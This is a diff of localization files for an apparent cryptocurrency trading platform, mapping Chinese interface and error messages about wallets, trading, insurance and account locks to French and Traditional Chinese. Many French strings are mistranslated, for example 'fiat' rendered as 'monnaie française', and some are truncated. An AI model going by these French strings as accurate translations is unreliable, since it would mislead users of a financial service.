"找不到此交易账号的用户" => "Utilisateur introuvable pour ce compte de transaction",
|
||||
"此用户还未通过实名认证" => "Cet utilisateur n'est pas encore authentifié par un vrai nom",
|
||||
"此用户已是此法币商家" => "Cet utilisateur est déjà un commerçant en monnaie française",
|
||||
"新闻不存在" => "Les nouvelles n'existent pas",
|
||||
"下单失败:超过最大持仓笔数限制" => "Échec de la commande: dépassement de la limite de position maximale",
|
||||
"当前未获取到行情" => "Aucun marché n'est actuellement disponible",
|
||||
"尚未申购或理赔保险" => "Assurance non souscrite ou réglée",
|
||||
"申购的保险T+1生效" => "L'assurance souscrite T+1 prend effet",
|
||||
"受保资产为零" => "Les actifs assurés sont nuls",
|
||||
"受保资产小于等于可下单条件" => "L'actif assuré est inférieur ou égal à la condition de commande",
|
||||
"您已超过持仓限制,暂停下单。" => "Vous avez dépassé votre limite de position et suspendu votre commande.",
|
||||
"未知的险种类型" => "Type d'assurance inconnu",
|
||||
"超过最大持仓数量限制" => "Dépassement de la limite maximale de position",
|
||||
"交易中的订单大于最大挂单数量" => "L'ordre dans la transaction est supérieur à la quantité maximale indiquée",
|
||||
"请输入账号" => "Veuillez saisir le numéro de compte",
|
||||
"请输入密码" => "Veuillez saisir le mot de passe",
|
||||
"手势密码错误" => "Erreur de mot de passe du geste",
|
||||
"请填写正确的邀请码" => "Veuillez remplir le Code d'invitation correct",
|
||||
"注册成功" => "Inscription réussie",
|
||||
"请输入密码或确认密码" => "Veuillez saisir votre mot de passe ou confirmer votre mot de passe",
|
||||
"输入两次密码不一致" => "Les mots de passe entrés deux fois sont incohérents",
|
||||
"账号不存在" => "Le compte n'existe pas",
|
||||
"验证码不正确" => "Code de vérification incorrect",
|
||||
"修改密码成功" => "Mot de passe modifié avec succès",
|
||||
"请输入验证码" => "Veuillez saisir le Code de vérification",
|
||||
"验证成功" => "Validation réussie",
|
||||
"父级不存在" => "Parent n'existe pas",
|
||||
"请重试" => "Veuillez réessayer.",
|
||||
"参数错误:(" => "Erreur de paramètre:",
|
||||
"缺少参数或传值错误" => "Paramètre manquant ou erreur de transmission de la valeur",
|
||||
"指定交易对不存在" => "La paire de transactions spécifiée n'existe pas",
|
||||
"您未开通本交易对的交易功能" => "Vous n'avez pas activé la fonction de transaction de cette paire de transactions",
|
||||
"手数必须是大于0的整数" => "Le nombre de mains doit être un entier supérieur à 0",
|
||||
"选择倍数不在系统范围" => "Le multiple de sélection n'est pas dans la plage du système",
|
||||
"您有正在平仓中的交易,暂不能进行买卖" => "Vous avez une transaction en cours de clôture.",
|
||||
"交易类型错误" => "Mauvais type de transaction",
|
||||
"该功能暂未开放" => "Cette fonction n'est pas encore ouverte",
|
||||
"限价交易价格必须大于0" => "Le prix de transaction limite doit être supérieur à 0",
|
||||
"当前没有获取到行情价格,请稍后重试" => "Aucun prix n'est actuellement disponible. Veuillez réessayer plus tard.",
|
||||
"限价交易卖出不能低于当前价" => "La vente d'une transaction à prix limité ne peut être inférieure au prix courant",
|
||||
"限价交易买入价格不能高于当前价" => "Le prix d'achat d'une transaction à prix limité ne peut être supérieur au prix courant",
|
||||
"钱包未找到,请先添加钱包" => "Portefeuille introuvable, veuillez ajouter un portefeuille",
|
||||
"提交失败" => "Échec de la soumission",
|
||||
"提交成功" => "Soumis avec succès",
|
||||
"此功能系统未开放" => "Ce système de fonctions n'est pas ouvert",
|
||||
"止盈止损价格不能为0" => "Le prix d'arrêt du gain et de la perte ne peut pas être 0",
|
||||
"找不到该笔交易" => "La transaction n'a pas été trouvée",
|
||||
"买入(做多)止盈价不能低于开仓价和当前价" => "Le prix d'achat (excédent) ne peut être inférieur au prix d'ouverture et au prix courant.",
|
||||
"买入(做多)止亏价不能高于开仓价和当前价" => "Le prix de clôture de la perte d'achat ne peut être supérieur au prix d'ouverture et au prix courant.",
|
||||
"卖出(做空)止盈价不能高于开仓价和当前价" => "Le prix de vente (Court) ne peut être supérieur au prix d'ouverture et au prix courant.",
|
||||
"卖出(做空)止亏价不能低于开仓价和当前价" => "Le prix de vente à découvert ne peut être inférieur au prix d'ouverture et au prix courant.",
|
||||
"设置成功" => "Configuration réussie",
|
||||
"设置失败" => "Échec de la configuration",
|
||||
"无权操作" => "Opération non autorisée",
|
||||
"交易状态异常,请勿重复提交" => "L'état de la transaction est anormal.",
|
||||
"平仓失败,请重试" => "Impossible de fermer la position, Veuillez réessayer",
|
||||
"买入方向传参错误" => "Erreur de transmission des paramètres dans la direction d'achat",
|
||||
"提交成功,请等待系统处理" => "Soumission réussie, veuillez attendre le traitement du système",
|
||||
"未找到需要平仓的交易" => "Aucune transaction n'a été trouvée nécessitant une clôture",
|
||||
"交易不存在或已撤单,请刷新后重试" => "La transaction n'existe pas ou a été annulée. Veuillez rafraîchir et réessayer.",
|
||||
"撤单失败:用户钱包不存在" => "Échec du retrait: le portefeuille de l'utilisateur n'existe pas",
|
||||
"撤单失败:变更状态失败" => "Échec du retrait: Échec du changement d'état",
|
||||
"撤单成功" => "Annulation réussie",
|
||||
"订单取消成功" => "Commande annulée avec succès",
|
||||
"请选择需求类型" => "Veuillez sélectionner le type d'exigence",
|
||||
"请选择交易方式" => "Veuillez sélectionner la méthode de transaction",
|
||||
"请填写单价" => "Veuillez remplir le prix unitaire",
|
||||
"请填写数量" => "Veuillez remplir la quantité",
|
||||
"请填写最小交易数量" => "Veuillez remplir la quantité minimale de transaction",
|
||||
"请选择币种" => "Veuillez sélectionner la devise",
|
||||
"最小交易数量不能大于总数量" => "La quantité minimale de transaction ne peut être supérieure à la quantité totale",
|
||||
"请填写最大交易量" => "Veuillez remplir le volume maximal des transactions",
|
||||
"请填写正确的最大交易量" => "Veuillez remplir le volume maximal correct",
|
||||
"对不起,您不是该法币的商家" => "Désolé, vous n'êtes pas un marchand de la monnaie légale.",
|
||||
"对不起,您的商家账户不足" => "Désolé, votre compte commercial est insuffisant.",
|
||||
"发布成功" => "Publié avec succès",
|
||||
"无此商家" => "Pas de marchand",
|
||||
"参数错误2" => "Erreur de paramètre 2",
|
||||
"无此记录" => "Pas d'enregistrement",
|
||||
"购买参数错误" => "Mauvais paramètre d'achat",
|
||||
"请填写购买额" => "Veuillez remplir le montant de l'achat",
|
||||
"购买额请填写数字" => "Montant de l'achat Veuillez remplir le numéro",
|
||||
"未完成单子超过3单,请完成后再操作!" => "La liste n'a pas été remplie plus de 3 documents, veuillez terminer l'opération!",
|
||||
"此条交易已完成" => "Cette transaction est terminée",
|
||||
"非法提交,数量必须大于0" => "Soumis illégalement, la quantité doit être supérieure à 0",
|
||||
"您低于最低限额" => "Vous êtes en dessous du minimum",
|
||||
"您高于最高限额" => "Vous êtes au - dessus du plafond",
|
||||
"您高于最大限制数量" => "Vous êtes au - dessus de la limite maximale",
|
||||
"未找到该商家" => "Le marchand n'a pas été trouvé",
|
||||
"不能操作自己的" => "Vous ne pouvez pas utiliser votre propre",
|
||||
"您无此钱包账号" => "Vous n'avez pas ce compte portefeuille",
|
||||
"您的钱包已被锁定,请联系管理员" => "Votre portefeuille est verrouillé, veuillez contacter votre administrateur",
|
||||
"您的法币余额不足" => "Votre solde en monnaie française est insuffisant",
|
||||
"您的法币冻结资金异常,请查看您是否有正在进行的挂单" => "Votre Fonds gelé en monnaie française est anormal, veuillez vérifier si vous avez une liste en cours",
|
||||
"您出售数量大于商家剩余数量!" => "La quantité que vous vendez est supérieure à la quantité restante du marchand!",
|
||||
"您购买数量大于商家剩余数量!" => "La quantité que vous avez achetée est supérieure à la quantité restante du marchand!",
|
||||
"您不是此币商家" => "Vous n'êtes pas un marchand de cette monnaie",
|
||||
"该订单已操作过,请勿重复操作" => "L'ordre a été exécuté, ne répétez pas",
|
||||
"对不起,您无权操作" => "Désolé, vous n'êtes pas autorisé à agir.",
|
||||
"操作成功,请联系卖家确认" => "Opération réussie, veuillez contacter le vendeur pour confirmation",
|
||||
"该订单已操作,请勿取消" => "L'ordre a été exécuté, veuillez ne pas annuler",
|
||||
"操作成功,订单已取消" => "Opération réussie, commande annulée",
|
||||
"对不起您不是商家" => "Désolé, vous n'êtes pas un marchand.",
|
||||
"对不起,您不是该商家" => "Désolé, vous n'êtes pas le marchand.",
|
||||
"该订单还未付款或已经操作过" => "La commande n'a pas été payée ou a été exécutée",
|
||||
"订单异常" => "Ordre anormal",
|
||||
"您不能确认该订单" => "Vous ne pouvez pas confirmer la commande",
|
||||
"该用户没有此币种钱包" => "L'utilisateur n'a pas de portefeuille dans cette monnaie",
|
||||
"确认成功" => "Confirmation du succès",
|
||||
"商家不存在" => "Le marchand n'existe pas",
|
||||
"已撤回发布" => "Publication retirée",
|
||||
"该发布信息下有交易产生无法删除" => "Les transactions générées sous cette information de publication ne peuvent pas être supprimées",
|
||||
"撤回成功" => "Retrait réussi",
|
||||
"该发布信息下有交易未完成,不能标记为异常" => "Il y a des transactions en cours sous cette information de publication et ne peut pas être marqué comme une exception",
|
||||
"该发布信息无异常" => "Aucune exception à cette publication",
|
||||
"对不起,您的商家账户冻结资金不足" => "Désolé, votre compte commercial n'a pas assez de fonds gelés.",
|
||||
"处理成功" => "Traitement réussi",
|
||||
"该币种不支持购买保险" => "L'assurance n'est pas prise en charge dans cette monnaie",
|
||||
"错误的金额!" => "Mauvais montant!",
|
||||
"不存在的险种!" => "Danger inexistant!",
|
||||
"不存在的币种!" => "Monnaie inexistante!",
|
||||
"已经购买了该币种的险种!" => "Vous avez acheté une assurance pour cette monnaie!",
|
||||
"可用余额不足,无法购买!" => "Le solde disponible est insuffisant pour l'achat!",
|
||||
"购买成功!" => "Achat réussi!",
|
||||
"未找到该保险" => "L'assurance n'a pas été trouvée",
|
||||
"该保险正在处理中" => "L'assurance est en cours de traitement",
|
||||
"申请索赔成功!" => "Demande de remboursement acceptée!",
|
||||
"超出今日索赔次数!" => "Plus de réclamations aujourd'hui!",
|
||||
"存在未平仓订单" => "Il y a des commandes ouvertes",
|
||||
"受保资产不符合可申请索赔条件1" => "Les biens assurés ne remplissent pas les conditions requises pour présenter une réclamation 1",
|
||||
"受保资产不符合可申请索赔条件2" => "Les biens assurés ne remplissent pas les conditions requises pour présenter une réclamation 2",
|
||||
"未知受保金额去向状态" => "État de destination du montant assuré inconnu",
|
||||
"处理成功!" => "Traitement réussi!",
|
||||
"该保险已失效" => "Cette assurance a expiré",
|
||||
"该保险正在索赔处理中" => "L'assurance est en cours de traitement",
|
||||
"解约失败,存在未平仓订单" => "Échec de l'annulation de l'accord, commande ouverte",
|
||||
"保险解约,赔付金额" => "Résiliation de l'assurance",
|
||||
"解约成功!" => "Annulation réussie!",
|
||||
"内容不能为空" => "Le contenu ne peut pas être vide",
|
||||
"暂无数据" => "Aucune donnée disponible",
|
||||
"文件大小超出" => "La taille du fichier dépasse",
|
||||
"文件类型非法" => "Type de fichier illégal",
|
||||
"文件类型不对" => "Mauvais type de fichier",
|
||||
"该文件已存在" => "Le fichier existe déjà",
|
||||
"币未找到" => "Monnaie introuvable",
|
||||
"转账账户不存在!" => "Le compte de transfert n'existe pas!",
|
||||
"不能给自己转账!" => "Vous ne pouvez pas vous transférer!",
|
||||
"转账数量大于剩余数量!" => "La quantité transférée est supérieure à la quantité restante!",
|
||||
"余额不足!" => "Le solde est insuffisant!",
|
||||
"通证转账成功!" => "Transfert de carte réussi!",
|
||||
"请输入支付密码" => "Veuillez saisir le mot de passe de paiement",
|
||||
"无需升级" => "Aucune mise à jour nécessaire",
|
||||
"暂无钱包" => "Pas de portefeuille pour le moment",
|
||||
"升级成功" => "Mise à jour réussie",
|
||||
"该地址别人已经绑定过了" => "C'est l'adresse que quelqu'un d'autre a déjà liée.",
|
||||
"请把参数填写完整" => "Veuillez remplir les paramètres",
|
||||
"用户已存在" => "L'utilisateur existe déjà",
|
||||
"推荐用户不存在" => "L'utilisateur recommandé n'existe pas",
|
||||
"转入账户不能为空" => "Le compte de transfert ne peut pas être vide",
|
||||
"密码不能为空" => "Le mot de passe ne peut pas être vide",
|
||||
"转入数量不能为空" => "La quantité transférée ne peut pas être vide",
|
||||
"用户密码错误" => "Erreur de mot de passe de l'utilisateur",
|
||||
"转入成功" => "Transfert réussi",
|
||||
"密码修改成功" => "Mot de passe modifié avec succès",
|
||||
"请输入正确的交易数量或价格" => "Veuillez saisir la quantité ou le prix correct de la transaction",
|
||||
"用户钱包不存在" => "Le portefeuille de l'utilisateur n'existe pas",
|
||||
"对不起,您的钱包余额不足" => "Désolé, vous n'avez pas assez d'argent dans votre portefeuille.",
|
||||
"用户不存在" => "L'utilisateur n'existe pas",
|
||||
"未找到该发布用户" => "L'utilisateur de publication n'a pas été trouvé",
|
||||
"检测有未完成交易,请完成后再来!" => "Vérifiez s'il y a des transactions en cours. Revenez après avoir terminé!",
|
||||
"您的余额不足" => "Votre solde est insuffisant",
|
||||
"用户信息不正确" => "Informations incorrectes de l'utilisateur",
|
||||
"对不起,这不是您的发布信息" => "Désolé, ce n'est pas votre message.",
|
||||
"对不起,您无权撤销此记录" => "Désolé, vous n'avez pas le droit d'annuler cet enregistrement.",
|
||||
"对不起,您的账户冻结资金不足" => "Désolé, vous n'avez pas assez d'argent pour geler votre compte.",
|
||||
"取消次数已超出" => "Nombre d'annulations dépassé",
|
||||
"次,明天再发布" => "Je l'enverrai demain.",
|
||||
',错误位于第' => ", l'erreur est dans le",
|
||||
"行" => "D'accord.",
|
||||
"您今天的取消次数已超出" => "Vous avez annulé plus de fois aujourd'hui",
|
||||
"次" => "Temps",
|
||||
"在" => "In",
|
||||
"购买法币成功,增加法币余额" => "Achat réussi en monnaie française, augmentation du solde en monnaie française",
|
||||
"转账数量不能小于" => "La quantité de transfert ne peut être inférieure à",
|
||||
"转账数量不能大于" => "La quantité de transfert ne peut être supérieure à",
|
||||
"解约失败:" => "Échec de la résiliation:",
|
||||
"操作成功,请联系商家确认订单" => "Opération réussie, veuillez contacter le commerçant pour confirmer la commande",
|
||||
"您还没有通过实名认证" => "Vous n'avez pas réussi l'authentification du nom réel",
|
||||
"您还没有设置收款信息" => "Vous n'avez pas défini les informations de collecte",
|
||||
"撤单失败:" => "Échec de l'annulation:",
|
||||
"扣除保证金失败:" => "Défaut de déduire la marge:",
|
||||
"扣除手续费失败:" => "Défaut de déduire les frais de manutention:",
|
||||
"手数不能低于" => "Le nombre de mains ne peut être inférieur à",
|
||||
"手数不能高于" => "Le nombre de mains ne peut être supérieur à",
|
||||
"余额不足,不能小于" => "Solde insuffisant, ne peut être inférieur à",
|
||||
"(手续费:" => "(frais de manutention:",
|
||||
"此法币" => "Cette monnaie française",
|
||||
'商家名称已存在' => "le nom de l'entreprise existe déjà",
|
||||
"请实名认证" => "Veuillez vérifier votre vrai nom",
|
||||
'申请成功' => 'Candidature réussie',
|
||||
'最小下单数量不能小于' => 'La quantité minimale de commande ne peut être inférieure à',
|
||||
'认证成功,请等待审核' => "Envoyé avec succès, veuillez attendre l'examen",
|
||||
'操作失败:您的信用分不足' => "Échec de l'opération: votre pointage de crédit est insuffisant :source",
|
||||
'操作失败:您有未平仓的交易,操作禁止' => "Échec de l'opération: vous avez une transaction ouverte, l'opération est interdite",
|
||||
'支付通道维护,请更换支付方式' => 'Maintenance du canal de paiement, veuillez modifier le mode de paiement',
|
||||
'您好,您的账户已被锁定,详情请咨询客服。' => "Bonjour, votre compte a été verrouillé, veuillez contacter le service client pour plus de détails.",
|
||||
'您好,您的资金已被锁定,详情请咨询客服。' => "Bonjour, vos fonds ont été bloqués, veuillez contacter le service client pour plus de détails.",
|
||||
);
|
||||
@@ -0,0 +1,3 @@
|
||||
{
|
||||
"最小下单数量不能小于": "最小下單數量不能小於 :micro_min"
|
||||
}
|
||||
@@ -0,0 +1,70 @@
|
||||
<?php
|
||||
return [
|
||||
'is_lock' => '鎖定賬戶',
|
||||
'unknown' => '未知類型',
|
||||
'1' => '資金賬戶餘額',
|
||||
'2' => '資金賬戶鎖定餘額',
|
||||
'3' => '幣幣賬戶餘額',
|
||||
'4' => '幣幣賬戶',
|
||||
'5' => '合約賬戶餘額',
|
||||
'6' => '合約賬戶',
|
||||
'7' => '期權賬戶餘額',
|
||||
'8' => '期權賬戶',
|
||||
'9' => '資金賬戶轉出交易賬戶',
|
||||
'10' => '交易賬戶轉資本賬戶',
|
||||
'11' => '資金轉入',
|
||||
'12' => '資金轉出',
|
||||
'13' => '從合約賬戶轉賬到交易賬戶',
|
||||
'14' => '從合約賬戶轉賬到交易賬戶',
|
||||
'15' => '交易賬戶轉合約賬戶',
|
||||
'16' => '合約賬戶轉出交易賬戶',
|
||||
'33' => '邀請返還佣金',
|
||||
'99' => '用戶提現',
|
||||
'102' => '取消購買交易',
|
||||
'103' => '取消賣出交易',
|
||||
'65' => '轉入資金交易餘額',
|
||||
'66' => '貨幣交易餘額轉入',
|
||||
'67' => '合約交易餘額轉入',
|
||||
'206' => '轉入合同和減少資金',
|
||||
'207' => '資金轉入合同,合同增加',
|
||||
'208' => '合同資金劃轉獲批,合同減少',
|
||||
'209' => '合同資金劃轉獲批,資金增加',
|
||||
'210' => '合約轉資金,凍結合約轉化值',
|
||||
'211' => '合約轉資金,審核不通過解凍',
|
||||
'107' => '通證兌換USDT',
|
||||
'37' => '通證兌換,合約幣增加',
|
||||
'212' => '歷史盈虧釋放,增加合約幣',
|
||||
'105' => '獎勵通證',
|
||||
'106' => '獎勵數字貨幣',
|
||||
'108' => '調節通證',
|
||||
'38' => '申請成為商家扣除USDT',
|
||||
'39' => '資產兌換,減少持有幣資金',
|
||||
'40' => '資產兌換,增加USDT資金',
|
||||
'41' => '激活BOSS',
|
||||
'42' => '鎖倉挖礦',
|
||||
'43' => '從BOSS賬戶中轉出餘額',
|
||||
'44' => '鎖倉返還',
|
||||
'45' => 'DeFi資金記錄',
|
||||
'51' => '幣幣交易',
|
||||
'50' => '幣幣交易凍結',
|
||||
'100' => '提幣成功',
|
||||
'101' => '提幣失敗',
|
||||
'700' => 'IEO訂單',
|
||||
'701' => '幣幣劃轉增加',
|
||||
'702' => '幣幣劃轉減少',
|
||||
'703' => '幣幣劃轉手續費',
|
||||
'704' => '鎖倉挖礦',
|
||||
'705' => '挖礦收益',
|
||||
'706' => '下單數不能低於',
|
||||
'1000' => '購買雙幣理財',
|
||||
'1001' => '雙幣理財結算',
|
||||
'707' => '跟隨購買 - 扣除保證金',
|
||||
'708' => '跟隨購買 - 扣除手續費',
|
||||
'1002' => '購買NFT',
|
||||
'1003' => '競拍扣除保證金',
|
||||
'1005' => 'NFT拍賣訂單支付',
|
||||
'1004' => '競拍退還保證金',
|
||||
'32' => '爆倉凍結',
|
||||
'35' => '交易手續費',
|
||||
'30' => '合約交易扣除保證金',
|
||||
];
|
||||
@@ -0,0 +1,19 @@
|
||||
<?php
|
||||
|
||||
return [
|
||||
|
||||
/*
|
||||
|--------------------------------------------------------------------------
|
||||
| Authentication Language Lines
|
||||
|--------------------------------------------------------------------------
|
||||
|
|
||||
| The following language lines are used during authentication for various
|
||||
| messages that we need to display to the user. You are free to modify
|
||||
| these language lines according to your application's requirements.
|
||||
|
|
||||
*/
|
||||
|
||||
'failed' => '這些憑證不符合我們的要求。',
|
||||
'throttle' => '頻繁的登錄! 請在 :seconds 秒後在試。',
|
||||
|
||||
];
|
||||
@@ -0,0 +1,321 @@
|
||||
<?php
|
||||
|
||||
return array(
|
||||
'请登录' => '請登錄',
|
||||
'退出登录成功' => '退出登錄成功',
|
||||
'电话不能为空' => '電話不能爲空',
|
||||
'账号已存在' => '賬號已存在',
|
||||
'两次密码不一致' => '兩次密碼不壹致',
|
||||
'用户未找到' => '用戶未找到',
|
||||
'钱包已添加,请勿重复添加' => '錢包已添加,請勿重複添加',
|
||||
'添加成功' => '添加成功',
|
||||
'参数错误' => '參數錯誤',
|
||||
'支付密码错误' => '支付密碼錯誤',
|
||||
'余额不足' => '余額不足',
|
||||
'转账至交易所钱包' => '轉賬至交易所錢包',
|
||||
'转账成功' => '轉賬成功',
|
||||
'找不到用户' => '找不到用戶',
|
||||
'用户钱包未找到' => '用戶錢包未找到',
|
||||
'接收来自交易所的转账' => '接收來自交易所的轉賬',
|
||||
'您还没有钱包' => '您還沒有錢包',
|
||||
'请输入正确的值' => '請輸入正確的值',
|
||||
'地址输入有误' => '地址輸入有誤',
|
||||
'地址输入有误1' => '地址輸入有誤1',
|
||||
'不能转账给自己' => '不能轉賬給自己',
|
||||
'暂时还没有添加币种' => '暫時還沒有添加幣種',
|
||||
'此币种不存在' => '此幣種不存在',
|
||||
'已经有此提币地址' => '已經有此提幣地址',
|
||||
'添加提币地址成功' => '添加提幣地址成功',
|
||||
'此提币地址不存在' => '此提幣地址不存在',
|
||||
'您没有权限删除此地址' => '您沒有權限刪除此地址',
|
||||
'删除提币地址成功' => '刪除提幣地址成功',
|
||||
'输入的金额不能为负数' => '輸入的金額不能爲負數',
|
||||
'您有正在进行中的杆杠交易,不能进行此操作' => '您有正在進行中的杆杠交易,不能進行此操作',
|
||||
'钱包不存在' => '錢包不存在',
|
||||
'划转成功' => '劃轉成功',
|
||||
'币种不存在' => '幣種不存在',
|
||||
'您还没有添加提币地址' => '您還沒有添加提幣地址',
|
||||
'数量不能少于最小值' => '數量不能少于最小值',
|
||||
'提币申请已成功,等待审核' => '提幣申請已成功,等待審核',
|
||||
'类型错误' => '類型錯誤',
|
||||
'钱包未找到' => '錢包未找到',
|
||||
'数量不能小于等于0' => '數量不能小于等于0',
|
||||
'价格不能小于等于0' => '價格不能小于等于0',
|
||||
'参数错误哦' => '參數錯誤哦',
|
||||
'数量不足' => '數量不足',
|
||||
'操作成功' => '操作成功',
|
||||
'真实姓名必须填写' => '真實姓名必須填寫',
|
||||
'收款信息至少选填一项' => '收款信息至少選填壹項',
|
||||
'保存成功' => '保存成功',
|
||||
'密码错误' => '密碼錯誤',
|
||||
'当前行情小于等于零!' => '當前行情小于等于零!',
|
||||
'参数错误!' => '參數錯誤!',
|
||||
'兑换数量大于持有资产!' => '兌換數量大于持有資産!',
|
||||
'资产兑换成功!' => '資産兌換成功!',
|
||||
'兑换数量大于剩余数量!' => '兌換數量大于剩余數量!',
|
||||
'通证兑换成功!' => '通證兌換成功!',
|
||||
'必填项信息不完整' => '必填項信息不完整',
|
||||
'两次输入密码不一致' => '兩次輸入密碼不壹致',
|
||||
'此用户不存在' => '此用戶不存在',
|
||||
'此交易账号已经设置' => '此交易賬號已經設置',
|
||||
'此账号已经存在' => '此賬號已經存在',
|
||||
'交易账号设置成功' => '交易賬號設置成功',
|
||||
'验证码错误' => '驗證碼錯誤',
|
||||
'手机绑定成功' => '手機綁定成功',
|
||||
'邮箱绑定成功' => '郵箱綁定成功',
|
||||
'手势密码至少连接6个点' => '手勢密碼至少連接6個點',
|
||||
'两次手势密码不相同' => '兩次手勢密碼不相同',
|
||||
'手势密码添加成功' => '手勢密碼添加成功',
|
||||
'取消手势密码成功' => '取消手勢密碼成功',
|
||||
'密码只能在6-16位之间' => '密碼只能在6-16位之間',
|
||||
'交易密码设置成功' => '交易密碼設置成功',
|
||||
'暂时还没有邀请排行榜,快去邀请吧' => '暫時還沒有邀請排行榜,快去邀請吧',
|
||||
'会员未找到' => '會員未找到',
|
||||
'你已绑定,不可更改!' => '妳已綁定,不可更改!',
|
||||
'该地址已被绑定,请重新输入' => '該地址已被綁定,請重新輸入',
|
||||
'绑定成功!' => '綁定成功!',
|
||||
'请提交完整的信息' => '請提交完整的信息',
|
||||
'请输入合法的身份证号码' => '請輸入合法的身份證號碼',
|
||||
'该身份证号已实名认证过!' => '該身份證號已實名認證過!',
|
||||
'您已经申请过了' => '您已經申請過了',
|
||||
'提交成功,等待审核' => '提交成功,等待審核',
|
||||
'您还没有交易记录' => '您還沒有交易記錄',
|
||||
'非法操作,不能撤回非自己发布的信息' => '非法操作,不能撤回非自己發布的信息',
|
||||
'非法操作:(' => '非法操作:(',
|
||||
'取销卖出交易失败' => '取銷賣出交易失敗',
|
||||
'取消成功' => '取消成功',
|
||||
'非法操作' => '非法操作',
|
||||
'数据未找到' => '數據未找到',
|
||||
'请先添加钱包' => '請先添加錢包',
|
||||
'价格和数量必须大于0' => '價格和數量必須大于0',
|
||||
'您的币不足' => '您的幣不足',
|
||||
'您的冻结资金异常,禁止挂卖' => '您的凍結資金異常,禁止挂賣',
|
||||
'你今天的交易额度已达到上限!' => '妳今天的交易額度已達到上限!',
|
||||
'系统配置错误,请联系系统管理员' => '系統配置錯誤,請聯系系統管理員',
|
||||
'手机号不能为空' => '手機號不能爲空',
|
||||
'发送成功' => '發送成功',
|
||||
'账号错误' => '賬號錯誤',
|
||||
'请填写手机号' => '請填寫手機號',
|
||||
'参数不全' => '參數不全',
|
||||
'服务器空间不支持,请确认支持curl或者fsocket,联系您的空间商解决或者更换空间!' => '服務器空間不支持,請確認支持curl或者fsocket,聯系您的空間商解決或者更換空間!',
|
||||
'帐户已过期' => '帳戶已過期',
|
||||
'IP地址限制' => 'IP地址限制',
|
||||
'账号被禁用' => '賬號被禁用',
|
||||
'内容含有敏感词' => '內容含有敏感詞',
|
||||
'ip参数不正确' => 'ip參數不正確',
|
||||
'邮箱不能为空' => '郵箱不能爲空',
|
||||
'操作错误' => '操作錯誤',
|
||||
'无此币种' => '無此幣種',
|
||||
'该币不是法币' => '該幣不是法幣',
|
||||
'用户名不能为空' => '用戶名不能爲空',
|
||||
'名称不能为空' => '名稱不能爲空',
|
||||
'资产不能为空' => '資産不能爲空',
|
||||
'找不到此交易账号的用户' => '找不到此交易賬號的用戶',
|
||||
'此用户还未通过实名认证' => '此用戶還未通過實名認證',
|
||||
'此用户已是此法币商家' => '此用戶已是此法幣商家',
|
||||
'新闻不存在' => '新聞不存在',
|
||||
'下单失败:超过最大持仓笔数限制' => '下單失敗:超過最大持倉筆數限制',
|
||||
'当前未获取到行情' => '當前未獲取到行情',
|
||||
'尚未申购或理赔保险' => '尚未申購或理賠保險',
|
||||
'申购的保险T+1生效' => '申購的保險T+1生效',
|
||||
'受保资产为零' => '受保資産爲零',
|
||||
'受保资产小于等于可下单条件' => '受保資産小于等于可下單條件',
|
||||
'您已超过持仓限制,暂停下单。' => '您已超過持倉限制,暫停下單。',
|
||||
'未知的险种类型' => '未知的險種類型',
|
||||
'超过最大持仓数量限制' => '超過最大持倉數量限制',
|
||||
'交易中的订单大于最大挂单数量' => '交易中的訂單大于最大挂單數量',
|
||||
'请输入账号' => '請輸入賬號',
|
||||
'请输入密码' => '請輸入密碼',
|
||||
'手势密码错误' => '手勢密碼錯誤',
|
||||
'请填写正确的邀请码' => '請填寫正確的邀請碼',
|
||||
'注册成功' => '注冊成功',
|
||||
'请输入密码或确认密码' => '請輸入密碼或確認密碼',
|
||||
'输入两次密码不一致' => '輸入兩次密碼不壹致',
|
||||
'账号不存在' => '賬號不存在',
|
||||
'验证码不正确' => '驗證碼不正確',
|
||||
'修改密码成功' => '修改密碼成功',
|
||||
'请输入验证码' => '請輸入驗證碼',
|
||||
'验证成功' => '驗證成功',
|
||||
'父级不存在' => '父級不存在',
|
||||
'请重试' => '請重試',
|
||||
'参数错误:(' => '參數錯誤:(',
|
||||
'缺少参数或传值错误' => '缺少參數或傳值錯誤',
|
||||
'指定交易对不存在' => '指定交易對不存在',
|
||||
'您未开通本交易对的交易功能' => '您未開通本交易對的交易功能',
|
||||
'手数必须是大于0的整数' => '手數必須是大于0的整數',
|
||||
'选择倍数不在系统范围' => '選擇倍數不在系統範圍',
|
||||
'您有正在平仓中的交易,暂不能进行买卖' => '您有正在平倉中的交易,暫不能進行買賣',
|
||||
'交易类型错误' => '交易類型錯誤',
|
||||
'该功能暂未开放' => '該功能暫未開放',
|
||||
'限价交易价格必须大于0' => '限價交易價格必須大于0',
|
||||
'当前没有获取到行情价格,请稍后重试' => '當前沒有獲取到行情價格,請稍後重試',
|
||||
'限价交易卖出不能低于当前价' => '限價交易賣出不能低于當前價',
|
||||
'限价交易买入价格不能高于当前价' => '限價交易買入價格不能高于當前價',
|
||||
'钱包未找到,请先添加钱包' => '錢包未找到,請先添加錢包',
|
||||
'提交失败' => '提交失敗',
|
||||
'提交成功' => '提交成功',
|
||||
'此功能系统未开放' => '此功能系統未開放',
|
||||
'止盈止损价格不能为0' => '止盈止損價格不能爲0',
|
||||
'找不到该笔交易' => '找不到該筆交易',
|
||||
'买入(做多)止盈价不能低于开仓价和当前价' => '買入(做多)止盈價不能低于開倉價和當前價',
|
||||
'买入(做多)止亏价不能高于开仓价和当前价' => '買入(做多)止虧價不能高于開倉價和當前價',
|
||||
'卖出(做空)止盈价不能高于开仓价和当前价' => '賣出(做空)止盈價不能高于開倉價和當前價',
|
||||
'卖出(做空)止亏价不能低于开仓价和当前价' => '賣出(做空)止虧價不能低于開倉價和當前價',
|
||||
'设置成功' => '設置成功',
|
||||
'设置失败' => '設置失敗',
|
||||
'无权操作' => '無權操作',
|
||||
'交易状态异常,请勿重复提交' => '交易狀態異常,請勿重複提交',
|
||||
'平仓失败,请重试' => '平倉失敗,請重試',
|
||||
'买入方向传参错误' => '買入方向傳參錯誤',
|
||||
'提交成功,请等待系统处理' => '提交成功,請等待系統處理',
|
||||
'未找到需要平仓的交易' => '未找到需要平倉的交易',
|
||||
'交易不存在或已撤单,请刷新后重试' => '交易不存在或已撤單,請刷新後重試',
|
||||
'撤单失败:用户钱包不存在' => '撤單失敗:用戶錢包不存在',
|
||||
'撤单失败:变更状态失败' => '撤單失敗:變更狀態失敗',
|
||||
'撤单成功' => '撤單成功',
|
||||
'订单取消成功' => '訂單取消成功',
|
||||
'请选择需求类型' => '請選擇需求類型',
|
||||
'请选择交易方式' => '請選擇交易方式',
|
||||
'请填写单价' => '請填寫單價',
|
||||
'请填写数量' => '請填寫數量',
|
||||
'请填写最小交易数量' => '請填寫最小交易數量',
|
||||
